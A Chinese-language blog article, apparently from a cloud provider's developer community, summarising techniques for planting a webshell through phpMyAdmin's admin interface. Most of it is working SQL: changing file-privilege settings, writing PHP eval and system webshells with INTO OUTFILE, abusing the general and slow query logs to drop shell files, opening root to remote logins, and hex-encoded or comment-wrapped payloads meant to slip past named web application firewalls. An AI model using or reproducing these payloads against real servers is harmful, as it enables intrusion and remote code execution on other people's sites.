phpMyAdmin后台Getshell总结

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
Web应用防火墙 3.0,每月20元额度 3个月
云数据库 RDS MySQL,高可用系列 2核4GB
简介: phpMyAdmin后台Getshell总结

0x01 前言

phpMyAdmin是一个以PHP为基础的MySQL数据库管理工具,管理者可以通过Web方式来控制和操作MySQL数据库。phpMyAdmin在MySQL和MariaDB上支持多种操作,可以直接在用户界面中执行常用操作,如:浏览/删除/创建/复制/删除/重命名和更改数据库、表、视图、字段和索引,管理MySQL用户帐户和权限等,也可以直接执行SQL语句。

0x02 Getshell常见报错

(1) #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

    show global variables like "%secure%";      //查询secure_file_priv配置
    secure_file_prive=null                      //不允许导入导出数据到目录
    secure_file_priv=c:\90sec                   //允许导入导出数据到指定目录
    secure_file_priv=""                         //允许导入导出数据到任意目录
    secure_file_priv="/"                        //允许导入导出数据到任意目录

    注:在my.ini、my.cnf、mysqld.cnf文件中找到secure_file_prive并将其值设置为空""或斜杠"/",然后重启MySQL服务即可!


    (2) #1045 - Access denied for user 'root'@'localhost' (using password: YES)


    select * from mysql.user;                                //查询所有用户权限
    select * from mysql.user where user="root";              //查询root用户权限
    update user set File_priv ='Y' where user = 'root';      //允许root用户读写文件
    update user set File_priv ='N' where user = 'root';      //禁止root用户读写文件
    flush privileges;                   


    0x03 Getshell方式小结

    (1) 读取/导出中文路径

      load data infile 'C:\\phpStudy\\WWW\\90sec.php' into table user;
      select load_file(concat('C:\\phpStudy\\WWW\\',unhex('b2e2cad4') ,'\\90sec.php'));
      set character_set_client='gbk';set character_set_connection='gbk';set character_set_database='gbk';set character_set_results='gbk';set character_set_server='gbk';select '<?php eval($_POST[pass]);?>' into outfile 'C:\\phpStudy\\WWW\\测试\\90sec.php';

      (2) 常规导出Webshell-1

        Create TABLE shadow9 (content text NOT NULL);
        Insert INTO shadow9 (content) VALUES('<?php @eval($_POST[pass]);?>');
        select content from shadow9 into outfile 'C:\\phpStudy\\WWW\\90sec.php';
        DROP TABLE IF EXISTS `shadow9`;


        (3) 常规导出Webshell-2

          select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/90sec.php';  
          select '<?php @eval($_POST[pass]);?>' into outfile 'c:\\phpstudy\\www\\90sec.php';
          select '<?php @eval($_POST[pass]);?>' into dumpfile 'c:\\phpstudy\\www\\bypass.php';
          select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' into outfile 'C:\\phpStudy\\WWW\\90sec.php';


          (4) general_log Getshell

            show global variables like "%genera%";                      //查询general_log配置
            set global general_log='on';                                //开启general log模式
            SET global general_log_file='C:/phpStudy/WWW/cmd.php';      //设置日志文件保存路径
            SELECT '<?php phpinfo();?>';                                //phpinfo()写入日志文件
            set global general_log='off';                               //关闭general_log模式

            注:高版本MySQL数据库中一般都默认配置了secure_file_priv变量值为null,限制了文件的导入导出,这时我们可以尝试利用MySQL的general_log和slow_query_log日志文件写入Webshell。

            (5) slow_query_log_file Getshell

              show variables like 'slow_query_log_file';
              set global slow_query_log=on;
              set global slow_query_log_file="C:\\phpStudy\\WWW\\shell.php";
              select sleep(15),'<?php phpinfo();?>';
              set global slow_query_log=off;

              注:利用general_log或slow_query_log在成功写入Webshel后建议立即OFF关闭,否则可能会因为php.ini配置文件中的memory_limit参数设定的内存值太小而出现“内存不足”的报错。


              Windows报错:

                #29 - File 'C:\phpStudy\PHPTutorial\testing\cmd.php' not found (Errcode: 13)

                Linux报错:

                  #1231 - Variable 'general_log_file' can't be set to the value of '/home/wwwroot/default/cmd.php'

                  出错原因:

                    MySQL运行用户与网站目录对应用户的写入/修改权限问题,需要给予网站目录所需权限才能解决该问题!

                    (6) 绕过WAF Getshell-1

                    phpMyAdmin导出Webshell时如果遇到WAF可能就会被拦截,因为WAF会检测我们提交的POST、GET数据包内容中是否含有危险函数、SHELL特征等,如果有则拦截,没有则放行

                    这时我们可以尝试开启外链来执行导出Webshell的SQL语句,因为这样走的不是POST、GET方式,所以这样执行SQL语句是不会被WAF拦截的。

                      grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;    //开启MySQL外链
                      flush privileges;                          //刷新MySQL系统权限相关表


                      (7) 绕过WAF Getshell-2

                      检测我们提交SQL语句的POST、GET数据包中是否包含的有WAF特征库中的危险函数、SHELL特征等,如:select、outfile、eval、assert等这样的就会被拦截。

                        select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/90sec.php';


                        绕过360网站卫士:

                          select '<?php @eval($_POST[pass]);?>' into /*!50001outfile*/ 'c:/phpstudy/www/bypass.php';

                          绕过网站安全狗(<4.0):

                            select 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';

                            注:Hex编码,提交时虽然会显示拦截,但其实[过狗马]已经被写进去了!


                            绕过网站安全狗(4.0正式版):

                              /*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';

                              相关实践学习
                              每个IT人都想学的“Web应用上云经典架构”实战
                              本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
                              MySQL数据库入门学习
                              本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
                              相关文章
                              |
                              安全 网络安全 PHP
                              CISP-PTE综合靶机-WinServer2008学习
                              CISP-PTE综合靶机-WinServer2008学习
                              1155 0
                              |
                              Prometheus 监控 安全
                              SpringBoot Actuator未授权访问漏洞的解决方法
                              SpringBoot Actuator未授权访问漏洞的解决方法Actuator 是 SpringBoot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。
                              29420 0
                              |
                              安全 Java 测试技术
                              【代码审计篇】 代码审计工具Fortify基本用法详解
                              本篇文章讲解代码审计工具Fortify的基本用法,感兴趣的小伙伴可以研究学习一下,文中部分地方可能会有遗漏,麻烦各位大佬指正,深表感谢!!!
                              2733 1
                              |
                              SQL 存储 前端开发
                              SQL注入从入门到进阶(一)---&gt;入门篇
                              看完本章节内容:1. 知道什么是Sql注入 2. 实现最基础的Sql注入
                              2250 0
                              |
                              SQL 监控 druid
                              Druid未授权访问 漏洞复现
                              Druid未授权访问 漏洞复现
                              16760 0
                              |
                              网络协议 数据安全/隐私保护 Linux
                              |
                              安全 数据库
                              Elasticsearch未授权访问漏洞
                                Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。 0x00 Elasticsearch 安装 前提,保证安装了JDK 1.
                              13849 1
                              |
                              NoSQL 安全 Redis
                              Bugku S3 AWD排位赛-3(带你入门awd流程)
                              Bugku S3 AWD排位赛-3(带你入门awd流程)
                              1219 1
                              |
                              11月前
                              |
                              SQL 安全 测试技术
                              Burpsuite Decoder解码功能实战
                              Burpsuite Decoder解码功能实战
                              |
                              网络协议 安全 Go
                              子域名收集神器:Subfinder 保姆级教程(附链接)
                              子域名收集神器:Subfinder 保姆级教程(附链接)